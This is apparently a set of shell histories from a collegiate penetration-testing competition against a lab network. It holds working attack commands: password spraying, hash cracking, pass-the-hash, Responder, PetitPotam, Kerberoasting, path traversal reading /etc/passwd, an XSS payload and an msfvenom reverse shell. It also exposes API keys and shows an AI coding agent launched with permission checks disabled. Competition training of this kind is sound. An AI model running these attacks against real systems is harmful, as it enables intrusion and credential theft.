_raw: : 1768054779:0;cat network-X.xml | claude "I'm doing a penetration test of this network for a client. Help me test the web pages. Ultrathink."


_raw: : 1768054779:0;mysql -u boatgps -p -h 10.0.1.13 --ssl-verify-server-cert=false


_raw: : 1768054779:0;nxc ssh 10.0.1.13 -u svc_stabilize -p 1gyroscope


_raw: : 1768054776:0;docker start -it vulnhuntr


_raw: : 1768054766:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw:
: 1768054756:0;curl --request GET \\
  --url https://traefik.github.io/weather-forecast \\
  --header 'Accept: application/json'


_raw: : 1768054728:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054728:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"' >>~/.zshrc


_raw: : 1768054728:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"'>> ~/.zshrc


_raw: : 1768054728:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"' >>~/.bashrc


_raw: : 1768054728:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"'>> ~/.bashrc


_raw: : 1768054728:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"' >~/.bashrc


_raw: : 1768054728:0;cp config.yaml.example config.yaml


_raw: : 1768054728:0;cp config.yaml.example config.yaml\


_raw: : 1768054728:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768054725:0;hashcat -m 0 -a 3 ~/weirdhashes.txt


_raw: : 1768054719:0;hashcat -m 3 ~/weirdhashes.txt


_raw: : 1768054718:0;docker build -t vulnhuntr https://github.com/protectai/vulnhuntr.git#main


_raw:
: 1768054715:0;curl --request GET \\
  --url https://traefik.github.io/weather-forecast \\
  --header 'Accept: application/json'


_raw: : 1768054714:0;nxc smb 10.0.1.6 -u users.txt -p IamTheCaptain --log o.log


_raw: : 1768054707:0;nxc smb 10.0.1.6 -u users.txt -p IamTheCaptain --output o.log


_raw: : 1768054706:0;hashcat -m 0 ~/weirdhashes.txt SecLists-master/Passwords/Permutations/korelogic-password.txt


_raw: : 1768054698:0;hashcat -m 0 ~/weirdhashes.txt SecLists-master/Passwords/Permutations/1337speak.txt


_raw: : 1768054692:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --pass-pol


_raw: : 1768054690:0;hashcat -m 0 ~/weirdhashes.txt SecLists-master/Passwords/Permutations/password-permutations.txt


_raw: : 1768054686:0;systemctl status containerd


_raw: : 1768054657:0;ffuf -u https://chat.allports.tours/user/FUZZ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1768054643:0;hydra -L user.txt -P pass.txt -M targets.txt mysql


_raw: : 1768054639:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 users.txt -t 100


_raw: : 1768054638:0;ffuf https://chat.allports.tours/user/FUZZ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1768054618:0;mv ~/Downloads/kerbrute_linux_amd64 .


_raw: : 1768054615:0;hashcat -m 0 ~/weirdhashes.txt SecLists-master/Passwords/darkc0de.txt


_raw: : 1768054590:0;mkdir -p ~/pentest/WEB_OT/{discovery,findings,credentials,poc,logs,screenshots,wordlists,tokens,handoffs}


_raw: : 1768054562:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768054558:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team10-key3-013c5cab-bc75-49ba-ad46-4a360b2c12a1"' >> ~/.zshrc


_raw: : 1768054533:0;nxc smb 10.0.1.21 -u garry.bobson -p letmein


_raw: : 1768054520:0;nxc smb 10.0.1.20 -u garry.bobson -p letmein


_raw:
clear
ls
cd ..
mv University-of-Massachusetts-Amherst cptc
cd cptc
cd University-of-Massachusetts-Amherst
clear
ls
cd enum4ad
clear
ls
ls -la
cd ..
ls
git submodule update --init
clear
ls
cd enum4ad
ls
cd ..
ls
git submodule update --init
vim .gitmodules
git submodule remove pwndoc-ng
cd enum4
cd enum4ad
ls
git fetch
git pull
ls
cd ..
clear
cd ..
git clone https://github.com/lli555/enum4ad.git
cd enum4ad
ls
clear
ls
nxc smb 10.0.1.0/24
clear
python3 main.py -ps 10.0.1.0/24 -o ~/cptc


_raw:
cd ad_enum_results_20260109_100010
ls
cd nmap
ls
cd 10.0.1.0_24
ls
cd ..
ls
mv 10.0.1.0_24 nmap
cd ../../
clear
ls
cd enum4ad
ls
vim main.py
cd config
ls
cd ..
cd modules
ls
vim port_scanner.py
cd ..
clear
ls
python3 main.py -f 10.0.1.0/24 -o ~/cptc
cd ad_enum_results_20260109_101244
ls
cd ..
cd ad_enum_results_20260109_101244
ls
cd 10_0_1_20
ls
cd enumeration
ls
cd ldap
cd ..
cd smb
ls
cd unauthenticated
ls
cat smb_guest_10.0.1.20.txt
cd ..
ls
cd ..
ls
cd misc
ls
cd unauthenticated
ls
cd ..
ls
cd ..
ls
cd ldap
ls
cd unauthenticated
ls
cd ../../
cd web
ls
cd unauthenticated
ls
cd ../../
ls
cd ..
ls
cd 10_0_1_21
ls
cd enumeration
ls
cd smb
ls
cd unauthenticated
ls
cat smb_guest_10.0.1.21.txt
cat smb_shares_10.0.1.21.txt
cd ../../
cd ..
ls
cd ..
ls
cd 10_0_1_6
ls
cd enumeration
ls
cd ldap
ls
cd unauthenticated
ls
cat ldap_anonymous_10.0.1.6.txt
cat ldap_basic_10.0.1.6.txt
cat ldap_domain_10.0.1.6.txt
cat ldap_users_10.0.1.6.txt
cd ..
ls
cd smb
ls
cd unauthenticated
ls
cd ..
ls
cd misc
ls
cd unauthenticated
ls


_raw:
nxc smb 10.0.1.20 -u Guest -p ''
nxc winrm 10.0.1.20 -u Guest -p ''
nxc winrm 10.0.1.20 -u APT\Guest -p ''
nxc winrm 10.0.1.20 -u APT\Guest -p '' --local-auth
nxc rdp 10.0.1.20 -u Guest -p ''
nxc rdp 10.0.1.21 -u Guest -p ''
nxc smb 10.0.1.21 -u Guest -p ''
nxc rdp 10.0.1.6 -u Guest -p ''
nxc smb 10.0.1.6 -u Guest -p ''
clear
xfreerdp3 -h
clear
xfreerdp3 /u:Gues /p:'' /v:0.0.1.20
xfreerdp3 /u:Gues /p:'' /v:10.0.1.20
xfreerdp3 /u:Guest /p:'' /v:10.0.1.20
xfreerdp3 /u:Guest /p:'' /v:10.0.1.21
clear
cd ~/Downloads
ls
cd cptc-ai-example
ls
vim config.yaml
uv run main.py


_raw:
nxc ldap 10.0.1.6 -u '' -p ''
clear
nxc rdp 10.0.1.20 -u APT\rose.davis -p rosdav50
nxc rdp 10.0.1.21 -u APT\rose.davis -p rosdav50
nxc rdp 10.0.1.20 -u APT\rose.davis -p rosdav50 --local-auth
nxc rdp 10.0.1.21 -u APT\rose.davis -p rosdav50 --local-auth
nxc rdp 10.0.1.20 -u rose.davis -p rosdav50 --local-auth
nxc rdp 10.0.1.21 -u rose.davis -p rosdav50 --local-auth
nxc rdp 10.0.1.20 -u rose.davis -p rosdav50
clear
nc 10.0.1.10 9000
clear
nc 10.0.1.10 9000
clear
ping 10..1.10
ping 10.0.1.10
clear
ping 10
clear
ping 10.0.1.10
clear
ping 8.8.8.8
clear
ping 8.8.8.8
clear
ping 10.0.1.10
clear
nc 10.0.1.10 9000
clear
impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis
impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis:rosdav50
clear
cd ~/Downloads
ls
chmod +x kerbrute_linux_amd64
./kerbrute_linux_amd64
clera
clear


_raw: : 1768054490:0;git clone https://github.com/nationalcptc-teamtools/university-of-florida.git


_raw: : 1768054490:0;git clone https://github.com/nationalcptc-teamtools/univresity-of-florida.git


_raw:
claude-version
which $SHELL
tail .bashrc
nano .zshrc
source .zshrc
claude-code
tail .zshrc
nano .zshrc
source .zshrc
ls


_raw: : 1768054479:0;hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768054467:0;nxc smb apt-dc-01.allports.local -u '' -p '' -M coerce_plus -o L=10.0.254.201 ALWAYS=true


_raw: : 1768054462:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1768054454:0;nxc smb apt-dc-01.allports.local -u '' -p '' -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1768054427:0;tmux source-file /home/pentester/.tmux.conf


_raw: : 1768054425:0;nxc smb apt-dc-01.allports.local -u '' -p '' -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1768054405:0;nxc ldap 10.0.1.6 -u garry.bobson -p letmein


_raw: : 1768054403:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054395:0;cp config.yaml.example config.yaml


_raw: : 1768054390:0;sudo curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054390:0;nxc ldap 10.0.1.6 -u gary.bobson -p letmein


_raw: : 1768054381:0;sqlmap -r req1.txt --level=5 --risk=3 --batch --banner


_raw: : 1768054376:0;crackmapexec ldap 10.0.1.6 -M ldap-signing


_raw: : 1768054372:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768054368:0;sudo curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054365:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054361:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1768054359:0;sudo curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054333:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --computers


_raw: : 1768054332:0;echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc && source ~/.zshrc


_raw: : 1768054330:0;sudo curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054329:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --groups


_raw: : 1768054327:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --users


_raw: : 1768054321:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054315:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054314:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --pso


_raw: : 1768054311:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054305:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --dc-list


_raw: : 1768054304:0;curl -fsSL https://claude.ai/install.sh | zsh


_raw: : 1768054301:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --computers


_raw: : 1768054298:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054297:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://admin.rooms.allports.tours/


_raw: : 1768054294:0;sudo responder -I eth0 --lm --disable-ess


_raw: : 1768054294:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --groups


_raw: : 1768054293:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://admin.rooms.allports.tours/.dockerenv


_raw: : 1768054290:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --users


_raw: : 1768054280:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --base-dn allports.local


_raw: : 1768054274:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --base-dn allports.tours


_raw: : 1768054272:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054270:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --base-dn


_raw: : 1768054261:0;sudo nano /etc/responder/Responder.conf


_raw: : 1768054246:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --pass-pol


_raw: : 1768054243:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768054236:0;nxc ldap apt-dc-01.allports.local -u '' -p '' -h


_raw: : 1768054231:0;wget https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py && python3 penelope.py


_raw: : 1768054220:0;claude --system-prompt $(cat master.txt) --dangerously-skip-permissions


_raw: : 1768054202:0;claude --system-prompt $(cat master.txt) --dangerously-skip-permissions


_raw: : 1768054196:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.206 LPORT=4444 -f elf -o rev-6.elf\


_raw: : 1768054186:0;cloud-init clean --machine-id -l -s


_raw: : 1768054186:0;apt install qemu-guest-agent


_raw: : 1768054186:0;apt install python3-pip python3-venv curl htop


_raw: : 1768054186:0;apt install openssh-server


_raw: : 1768054186:0;sudo apt install dphys-swapfile


_raw: : 1768054186:0;apt install systemd-zram-generator zram-tools


_raw: : 1768054182:0;sudo nmap -sU --top-ports 20 -sV --min-rate 2000 --max-retries 1 -n -Pn 10.0.1.0/24 -oA udp-balanced


_raw: : 1768054173:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1768054156:0;curl -fsSL https://claude.ai/install.sh | bash


_raw:
: 1768054153:0;bash\
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="<sk-cptc-your-key-here>"' >> ~/.bashrc\
source ~/.bashrc


_raw: : 1768054143:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --shares


_raw: : 1768054139:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope


_raw: : 1768054107:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054106:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054105:0;crackmapexec smb 10.0.1.6 -u administrator -H a4fa38e8e61d094ab455cecda06105d3


_raw: : 1768054089:0;sudo responder -I eth0 --lm --disable-ess


_raw: : 1768054083:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768054074:0;sudo responder -I eth0 --lM --disable-ess


_raw: : 1768054072:0;hashcat -m 1600 -a 0 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule


_raw: : 1768054072:0;git clone https://github.com/stealthsploit/OneRuleToRuleThemStill.git


_raw: : 1768054072:0;hashcat -m 1600 -a 0 /\tmp/admin_hash.txt --show


_raw: : 1768054072:0;hashcat /tmp/admin_hash.txt --show


_raw: : 1768054072:0;hashcat -m 1600 -a 0 /tmp/admin_hash.txt --show


_raw: : 1768054072:0;hashcat -m 1600 -a 0 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768054072:0;gobuster dir -u https://admin.rooms.allports.tours/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3 -k


_raw: : 1768054072:0;gobuster dir -u https://admin.rooms.allports.tours/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -t 3 -k


_raw: : 1768054072:0;gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3 -k


_raw: : 1768054072:0;gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3


_raw: : 1768054072:0;gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt


_raw:
: 1768054072:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT * FROM ship_systems ORDER BY id;"\


_raw:
: 1768054072:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "DESCRIBE ship_systems;"


_raw:
: 1768054072:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SHOW TABLES;"\
\


_raw:
: 1768054072:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' --skip-ssl \\
    -e "SELECT VERSION(), DATABASE(), USER();"\


_raw:
: 1768054072:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT id, speed_knots, heading FROM current_voyage WHERE id = 1;"\


_raw:
: 1768054072:0;curl -s -X POST "http://10.0.1.13:8080/api/navigation.php?action=speed" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"speed_knots": -100}' \\
    | python3 -m json.tool\


_raw: : 1768054072:0;curl -s "http://10.0.1.13:8080/api/navigation.php?action=speed" | python3 -m json.tool\


_raw:
: 1768054072:0;curl -s "http://10.0.1.13:8080/api/load_routes.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    | python3 -m json.tool\


_raw:
: 1768054072:0;curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"<img src=x onerror=alert(\"XSS_CONFIRMED\")>","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | python3 -m json.tool\


_raw:
: 1768054072:0;curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"<img src=x onerror=alert(\"XSS_CONFIRMED\")>","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | jq


_raw: : 1768054072:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token -d "username=captain&password=captain&grant_type=password&client_id=gps-app" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw: : 1768054072:0;curl -X PUT "http://10.0.1.13:8080/api/navigation.php?action=status"\


_raw: : 1768054072:0;curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=status"


_raw: : 1768054072:0;curl -X GET "http://10.0.1.13:8080/api/navigation.php?action=status"\


_raw:
: 1768054072:0;curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=update_position" \\
    -H "Content-Type: application/json" -d '{}'\


_raw:
: 1768054072:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\


_raw:
: 1768054072:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=captain&password=captain&grant_type=password&client_id=gps-app" \\
    | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw:
: 1768054072:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../etc/passwd" \\
    -H "Authorization: Bearer $TOKEN"


_raw: : 1768054072:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key3-4dc0f41d-9024-4394-957f-a276e9b4cadc"' >> ~/.zshrc


_raw: : 1768054072:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1768054072:0;curl -fsSL https://claude.ai/install.sh | bash\


_raw: : 1768054072:0;git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git


_raw: : 1768054069:0;responder -I eth0 --lm --disable-ess


_raw:
ls
hashcat -m 1600 -a 0 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1600 -a 0 /tmp/admin_hash.txt --show
hashcat /tmp/admin_hash.txt --show
hashcat -m 1600 -a 0 /\tmp/admin_hash.txt --show
cat /tmp/admin_hash.txt
git clone https://github.com/stealthsploit/OneRuleToRuleThemStill.git
hashcat -m 1600 -a 0 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule
clear
hashcat -m 1600 -a 0 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule
clear
ls
clear
nmap -sC -sV -Pn 10.0.1.30
nmap -sC -sV -Pn -p- 10.0.1.30
clear
nmap -sC -sV -Pn -p- 10.0.1.14
telnet 10.0.1.14 5001
clear
nmap -sC -sV -Pn -p- 10.0.1.13


_raw: : 1768054065:0;responder -I eth0 --lM --disable-ess


_raw: : 1768054031:0;termshot -scf out.png -- "nxc smb workstations  -u 'Guest' -p '' --rid-brute"


_raw: : 1768054016:0;responder -I eth0 --IM --disable-ees


_raw: : 1768054010:0;nxc smb workstations  -u 'Guest' -p '' --rid-brute


_raw:
cat host
pip install python-libnmap XlsxWriter
python3 -m venv nmap-conv
source nmap-conv/bin/activate
git clone https://github.com/mrschyte/nmap-converter.git
cd nmap-conv
cd ../
ls
cd nmap-converter
ls
pip install python-libnmap XlsxWriter
cd ../
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
ls
./bloodhound-cli
ls
cat initialScan.nmap
vim down
cat down | awk '{print $5}'
cat down | awk '{print $5}' >> doublecheck
nmap -Pn -p80,22,3389,53,8080,443,139,135,8000,9001,21,445 -oA partialDownhost -T2 -vv
nmap -Pn -p80,22,3389,53,8080,443,139,135,8000,9001,21,445 -oA partialDownhost -T2 -vv -iL doublecheck
sudo reboot


_raw: : 1768053994:0;gobuster dir -u https://admin.rooms.allports.tours/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3 -k


_raw: : 1768053994:0;gobuster dir -u https://admin.rooms.allports.tours/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -t 3 -k


_raw: : 1768053994:0;gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3 -k


_raw: : 1768053994:0;gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3


_raw: : 1768053994:0;gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt


_raw:
: 1768053994:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT * FROM ship_systems ORDER BY id;"\


_raw:
: 1768053994:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "DESCRIBE ship_systems;"


_raw:
: 1768053994:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SHOW TABLES;"\
\


_raw:
: 1768053994:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' --skip-ssl \\
    -e "SELECT VERSION(), DATABASE(), USER();"\


_raw:
: 1768053994:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT id, speed_knots, heading FROM current_voyage WHERE id = 1;"\


_raw:
: 1768053994:0;curl -s -X POST "http://10.0.1.13:8080/api/navigation.php?action=speed" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"speed_knots": -100}' \\
    | python3 -m json.tool\


_raw: : 1768053994:0;curl -s "http://10.0.1.13:8080/api/navigation.php?action=speed" | python3 -m json.tool\


_raw:
: 1768053994:0;curl -s "http://10.0.1.13:8080/api/load_routes.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    | python3 -m json.tool\


_raw:
: 1768053994:0;curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"<img src=x onerror=alert(\"XSS_CONFIRMED\")>","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | python3 -m json.tool\


_raw:
: 1768053994:0;curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"<img src=x onerror=alert(\"XSS_CONFIRMED\")>","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | jq


_raw: : 1768053994:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token -d "username=captain&password=captain&grant_type=password&client_id=gps-app" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw: : 1768053994:0;curl -X PUT "http://10.0.1.13:8080/api/navigation.php?action=status"\


_raw: : 1768053994:0;curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=status"


_raw: : 1768053994:0;curl -X GET "http://10.0.1.13:8080/api/navigation.php?action=status"\


_raw:
: 1768053994:0;curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=update_position" \\
    -H "Content-Type: application/json" -d '{}'\


_raw:
: 1768053994:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\


_raw:
: 1768053994:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=captain&password=captain&grant_type=password&client_id=gps-app" \\
    | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw:
: 1768053994:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../etc/passwd" \\
    -H "Authorization: Bearer $TOKEN"


_raw: : 1768053994:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key3-4dc0f41d-9024-4394-957f-a276e9b4cadc"' >> ~/.zshrc


_raw: : 1768053994:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1768053994:0;curl -fsSL https://claude.ai/install.sh | bash\


_raw: : 1768053994:0;git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git


_raw: : 1768053988:0;sudo nano /etc/resolv.conf


_raw:
echo 'preexec() { printf "%s %s\n" "$(date "+%Y-%m-%d %H:%M:%S")" "$1" >> ~/.zsh_history_readable }'
ls
git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git
cd P
cd Princess-Sumaya-University-for-Technology/
ls
./start.sh
sh start.sh
claer
clear
chmod +x start.sh
./start.sh
ls
nano all.sh
mousepad all.sh
echo 'preexec() { printf "%s %s\n" "$(date "+%Y-%m-%d %H:%M:%S")" "$1" >> ~/.zsh_history_readable }' >> ~/.zshrc
source ~/.zshrc
ls -la ~
chmod +x all.sh
./all.sh
sl
clear
ls
clear
nmap -sC -sV -Pn 10.0.1.99
curl -fsSL https://claude.ai/install.sh | bash\
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key3-4dc0f41d-9024-4394-957f-a276e9b4cadc"' >> ~/.zshrc
source ~/.bashrc\
clear
sudo nano /etc/hosts
cat password.txt
cd dropzone
;s
ls
seclists
cat password.txt \
cat password.txt
subl /tmp/pentest_findings_report.md
subl /tmp/testing_checklist.md
claude-code --version\
claude --version
nmap -sC -sV -Pn 10.0.1.99 -p- -T 3
nmap -sC -sV -Pn 10.0.1.11 -p- -T 3
nmap -sC -sV -Pn 10.0.1.10 -p- -T 3
claude
clear
env
clear
TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=captain&password=captain&grant_type=password&client_id=gps-app" \\
    | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../etc/passwd" \\
    -H "Authorization: Bearer $TOKEN"
clear
curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\
TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=captain&password=captain&grant_type=password&client_id=gps-app" \\
    | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\
clear
curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\
mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' --skip-ssl\
clear
curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=update_position" \\
    -H "Content-Type: application/json" -d '{}'\
clear
curl -X GET "http://10.0.1.13:8080/api/navigation.php?action=status"\
curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=status"
curl -X PUT "http://10.0.1.13:8080/api/navigation.php?action=status"\
mousepad /tmp/complete_penetration_test_narrative.md
TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token -d "username=captain&password=captain&grant_type=password&client_id=gps-app" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | jq
clear
curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
